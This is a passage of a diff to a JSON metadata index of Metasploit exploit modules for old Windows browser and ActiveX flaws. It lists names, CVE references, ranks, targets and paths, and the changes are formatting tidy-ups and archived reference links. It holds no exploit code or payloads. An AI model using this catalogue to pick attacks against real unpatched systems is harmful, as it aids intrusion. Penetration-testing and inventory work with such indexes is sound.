- "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/java_basicservice_impl": { "name": "Sun Java Web Start BasicServiceImpl Code Execution", "fullname": "exploit/windows/browser/java_basicservice_impl", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-10-12", "type": "exploit", @@ -145081,12 +129423,8 @@ "platform": "Java,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Generic (Java Payload)" @@ -145098,17 +129436,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/java_cmm": { "name": "Java CMM Remote Code Execution", "fullname": "exploit/windows/browser/java_cmm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-03-01", "type": "exploit", @@ -145123,39 +129458,32 @@ "BID-58238", "URL-https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493", "URL-http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html", - "URL-http://pastie.org/pastes/6581034" + "URL-http://web.archive.org/web/20161013042610/http://pastie.org/pastes/6581034" ], "platform": "Java,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows x86 (Native Payload)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/exploits/windows/browser/java_cmm.rb", "is_install_path": true, "ref_name": "windows/browser/java_cmm", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/java_codebase_trust": { "name": "Sun Java Applet2ClassLoader Remote Code Execution", "fullname": "exploit/windows/browser/java_codebase_trust", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-02-15", "type": "exploit", @@ -145174,12 +129502,8 @@ "platform": "Java", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)" ], @@ -145190,17 +129514,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/java_docbase_bof": { "name": "Sun Java Runtime New Plugin docbase Buffer Overflow", "fullname": "exploit/windows/browser/java_docbase_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-10-12", "type": "exploit", @@ -145215,39 +129536,32 @@ "URL-http://blog.harmonysecurity.com/2010/10/oracle-java-ie-browser-plugin-stack.html", "ZDI-10-206", "URL-http://code.google.com/p/skylined/issues/detail?id=23", - "URL-http://skypher.com/index.php/2010/10/13/issue-2-oracle-java-object-launchjnlp-docbase/", + "URL-http://web.archive.org/web/20130119152812/http://skypher.com:80/index.php/2010/10/13/issue-2-oracle-java-object-launchjnlp-docbase/", "URL-http://www.oracle.com/technetwork/topics/security/javacpuoct2010-176258.html" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal (msvcr71.dll ROP)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/windows/browser/java_docbase_bof.rb", "is_install_path": true, "ref_name": "windows/browser/java_docbase_bof", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/java_mixer_sequencer": { "name": "Java MixerSequencer Object GM_Song Structure Handling Vulnerability", "fullname": "exploit/windows/browser/java_mixer_sequencer", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-03-30", "type": "exploit", @@ -145261,38 +129575,31 @@ "OSVDB-63493", "BID-39077", "ZDI-10-060", - "URL-http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/" + "URL-http://web.archive.org/web/20210624004250/http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows / Java 6 <=u18" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/windows/browser/java_mixer_sequencer.rb", "is_install_path": true, "ref_name": "windows/browser/java_mixer_sequencer", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/java_ws_arginject_altjvm": { "name": "Sun Java Web Start Plugin Command Line Argument Injection", "fullname": "exploit/windows/browser/java_ws_arginject_altjvm", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-04-09", "type": "exploit", @@ -145311,12 +129618,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Java Runtime on Windows x86" @@ -145328,17 +129631,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/java_ws_double_quote": { "name": "Sun Java Web Start Double Quote Injection", "fullname": "exploit/windows/browser/java_ws_double_quote", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-10-16", "type": "exploit", @@ -145356,12 +129656,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86" @@ -145373,17 +129669,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/java_ws_vmargs": { "name": "Sun Java Web Start Plugin Command Line Argument Injection", "fullname": "exploit/windows/browser/java_ws_vmargs", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-02-14", "type": "exploit", @@ -145401,12 +129694,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Java Runtime on Windows x86" @@ -145418,17 +129707,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/juniper_sslvpn_ive_setupdll": { "name": "Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/juniper_sslvpn_ive_setupdll", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-04-26", "type": "exploit", @@ -145445,12 +129731,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Pro SP3 English", "Debugging" @@ -145462,17 +129744,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/kazaa_altnet_heap": { "name": "Kazaa Altnet Download Manager ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/kazaa_altnet_heap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-10-03", "type": "exploit", @@ -145488,12 +129767,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2 / IE 6.0SP1 English" ], @@ -145504,17 +129779,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/keyhelp_launchtripane_exec": { "name": "KeyHelp ActiveX LaunchTriPane Remote Code Execution Vulnerability", "fullname": "exploit/windows/browser/keyhelp_launchtripane_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-26", "type": "exploit", @@ -145533,12 +129805,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -145549,17 +129817,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/browser/logitechvideocall_start": { "name": "Logitech VideoCall ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/logitechvideocall_start", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-05-31", "type": "exploit", @@ -145575,12 +129840,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Pro SP2 English" ], @@ -145591,17 +129852,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/lpviewer_url": { "name": "iseemedia / Roxio / MGI Software LPViewer ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/lpviewer_url", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-06", "type": "exploit", @@ -145618,12 +129876,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -145634,17 +129888,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/macrovision_downloadandexecute": { "name": "Macrovision InstallShield Update Service Buffer Overflow", "fullname": "exploit/windows/browser/macrovision_downloadandexecute", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-10-31", "type": "exploit", @@ -145659,12 +129910,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0/SP1 Pro English", "Windows 2000 Pro English All" @@ -145676,17 +129923,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/macrovision_unsafe": { "name": "Macrovision InstallShield Update Service ActiveX Unsafe Method", "fullname": "exploit/windows/browser/macrovision_unsafe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-10-20", "type": "exploit", @@ -145702,12 +129946,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -145718,17 +129958,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/malwarebytes_update_exec": { "name": "Malwarebytes Anti-Malware and Anti-Exploit Update Remote Code Execution", "fullname": "exploit/windows/browser/malwarebytes_update_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2014-12-16", "type": "exploit", @@ -145741,38 +129978,31 @@ "references": [ "CVE-2014-4936", "OSVDB-116050", - "URL-http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and" + "URL-http://web.archive.org/web/20241212224255/http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2022-06-10 08:47:41 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/exploits/windows/browser/malwarebytes_update_exec.rb", "is_install_path": true, "ref_name": "windows/browser/malwarebytes_update_exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/maxthon_history_xcs": { "name": "Maxthon3 about:history XCS Trusted Zone Code Execution", "fullname": "exploit/windows/browser/maxthon_history_xcs", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-11-26", "type": "exploit", @@ -145790,12 +130020,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Maxthon 3 (prior to 3.3) on Windows" ], @@ -145806,17 +130032,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/mcafee_mcsubmgr_vsprintf": { "name": "McAfee Subscription Manager Stack Buffer Overflow", "fullname": "exploit/windows/browser/mcafee_mcsubmgr_vsprintf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-08-01", "type": "exploit", @@ -145832,12 +130055,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0/SP1" ], @@ -145848,17 +130067,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/mcafee_mvt_exec": { "name": "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability", "fullname": "exploit/windows/browser/mcafee_mvt_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-04-30", "type": "exploit", @@ -145876,12 +130092,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -145892,17 +130104,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/mcafeevisualtrace_tracetarget": { "name": "McAfee Visual Trace ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/mcafeevisualtrace_tracetarget", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-07-07", "type": "exploit", @@ -145918,12 +130127,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Pro SP2 English" ], @@ -145934,17 +130139,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/mirc_irc_url": { "name": "mIRC IRC URL Buffer Overflow", "fullname": "exploit/windows/browser/mirc_irc_url", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2003-10-13", "type": "exploit", @@ -145960,12 +130162,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro English All", "Windows XP Pro SP0/SP1 English" @@ -145977,17 +130175,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/mozilla_attribchildremoved": { "name": "Firefox 8/9 AttributeChildRemoved() Use-After-Free", "fullname": "exploit/windows/browser/mozilla_attribchildremoved", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-12-06", "type": "exploit", @@ -146006,12 +130201,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP - Firefox 8 / 8.0.1", @@ -146025,17 +130216,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/mozilla_firefox_onreadystatechange": { "name": "Firefox onreadystatechange Event DocumentViewerImpl Use After Free", "fullname": "exploit/windows/browser/mozilla_firefox_onreadystatechange", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-25", "type": "exploit", @@ -146060,12 +130248,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Firefox 17 & Firefox 21 / Windows XP SP3" ], @@ -146076,17 +130260,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/mozilla_firefox_xmlserializer": { "name": "Firefox XMLSerializer Use After Free", "fullname": "exploit/windows/browser/mozilla_firefox_xmlserializer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-08", "type": "exploit", @@ -146106,12 +130287,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Firefox 17 / Windows XP SP3" ], @@ -146122,17 +130299,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/mozilla_interleaved_write": { "name": "Mozilla Firefox Interleaved document.write/appendChild Memory Corruption", "fullname": "exploit/windows/browser/mozilla_interleaved_write", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-10-25", "type": "exploit", @@ -146152,12 +130326,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Firefox 3.6.8 - 3.6.11, Windows XP/Windows Server 2003" ], @@ -146168,17 +130338,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/mozilla_mchannel": { "name": "Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability", "fullname": "exploit/windows/browser/mozilla_mchannel", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-05-10", "type": "exploit", @@ -146197,12 +130364,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Firefox 3.6.16 on Windows XP SP3", @@ -146215,17 +130378,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/mozilla_nssvgvalue": { "name": "Firefox nsSVGValue Out-of-Bounds Access Vulnerability", "fullname": "exploit/windows/browser/mozilla_nssvgvalue", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-12-06", "type": "exploit", @@ -146244,12 +130404,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP - Firefox 7", @@ -146262,17 +130418,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/mozilla_nstreerange": { "name": "Mozilla Firefox \"nsTreeRange\" Dangling Pointer Vulnerability", "fullname": "exploit/windows/browser/mozilla_nstreerange", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-02-02", "type": "exploit", @@ -146292,12 +130445,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto (Direct attack against Windows XP, otherwise through Java, if enabled)", "Firefox Runtime, fails with ASLR", @@ -146312,17 +130461,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/mozilla_reduceright": { "name": "Mozilla Firefox Array.reduceRight() Integer Overflow", "fullname": "exploit/windows/browser/mozilla_reduceright", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-06-21", "type": "exploit", @@ -146345,12 +130491,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Mozilla Firefox 3.6.16 (no JAVA)", @@ -146363,17 +130505,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms03_020_ie_objecttype": { "name": "MS03-020 Microsoft Internet Explorer Object Type", "fullname": "exploit/windows/browser/ms03_020_ie_objecttype", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2003-06-04", "type": "exploit", @@ -146390,12 +130529,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows NT/XP/2003 Automatic" ], @@ -146406,17 +130541,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms05_054_onload": { "name": "MS05-054 Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution", "fullname": "exploit/windows/browser/ms05_054_onload", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2005-11-21", "type": "exploit", @@ -146435,12 +130567,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Internet Explorer 6 on Windows XP", "Internet Explorer 6 Windows 2000" @@ -146452,17 +130580,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms06_001_wmf_setabortproc": { "name": "Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution", "fullname": "exploit/windows/browser/ms06_001_wmf_setabortproc", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-12-27", "type": "exploit", @@ -146482,12 +130607,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP/2003/Vista Automatic" ], @@ -146498,17 +130619,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms06_013_createtextrange": { "name": "MS06-013 Microsoft Internet Explorer createTextRange() Code Execution", "fullname": "exploit/windows/browser/ms06_013_createtextrange", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-03-19", "type": "exploit", @@ -146533,12 +130651,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Internet Explorer 6 - (6.0.3790.0 - Windows XP SP2)", "Internet Explorer 7 - (7.0.5229.0 - Windows XP SP2)" @@ -146550,17 +130664,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms06_055_vml_method": { "name": "MS06-055 Microsoft Internet Explorer VML Fill Method Code Execution", "fullname": "exploit/windows/browser/ms06_055_vml_method", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-09-19", "type": "exploit", @@ -146581,12 +130692,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows NT 4.0 -> Windows 2003 SP1" ], @@ -146597,17 +130704,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms06_057_webview_setslice": { "name": "MS06-057 Microsoft Internet Explorer WebViewFolderIcon setSlice() Overflow", "fullname": "exploit/windows/browser/ms06_057_webview_setslice", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-07-17", "type": "exploit", @@ -146624,12 +130728,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2 / IE 6.0SP1 English" ], @@ -146640,17 +130740,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms06_067_keyframe": { "name": "MS06-067 Microsoft Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability", "fullname": "exploit/windows/browser/ms06_067_keyframe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-11-14", "type": "exploit", @@ -146668,12 +130765,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000/XP/2003 Universal" ], @@ -146684,17 +130777,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms06_071_xml_core": { "name": "MS06-071 Microsoft Internet Explorer XML Core Services HTTP Request Handling", "fullname": "exploit/windows/browser/ms06_071_xml_core", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-10-10", "type": "exploit", @@ -146711,12 +130801,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4 -> Windows 2003 SP0" ], @@ -146727,17 +130813,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms07_017_ani_loadimage_chunksize": { "name": "Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)", "fullname": "exploit/windows/browser/ms07_017_ani_loadimage_chunksize", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-03-28", "type": "exploit", @@ -146756,12 +130839,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista", "IE6 on Windows NT, 2000, XP, 2003 (all languages)", @@ -146777,17 +130856,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms08_041_snapshotviewer": { "name": "Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download", "fullname": "exploit/windows/browser/ms08_041_snapshotviewer", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-07-07", "type": "exploit", @@ -146804,12 +130880,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -146820,17 +130892,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms08_053_mediaencoder": { "name": "Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow", "fullname": "exploit/windows/browser/ms08_053_mediaencoder", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-09-09", "type": "exploit", @@ -146847,12 +130916,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2-SP3 IE 6.0 SP0-SP2" ], @@ -146863,17 +130928,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms08_070_visual_studio_msmask": { "name": "Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow", "fullname": "exploit/windows/browser/ms08_070_visual_studio_msmask", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-08-13", "type": "exploit", @@ -146891,12 +130953,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2 IE 6.0 SP0-SP2" ], @@ -146907,17 +130965,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms08_078_xml_corruption": { "name": "MS08-078 Microsoft Internet Explorer Data Binding Memory Corruption", "fullname": 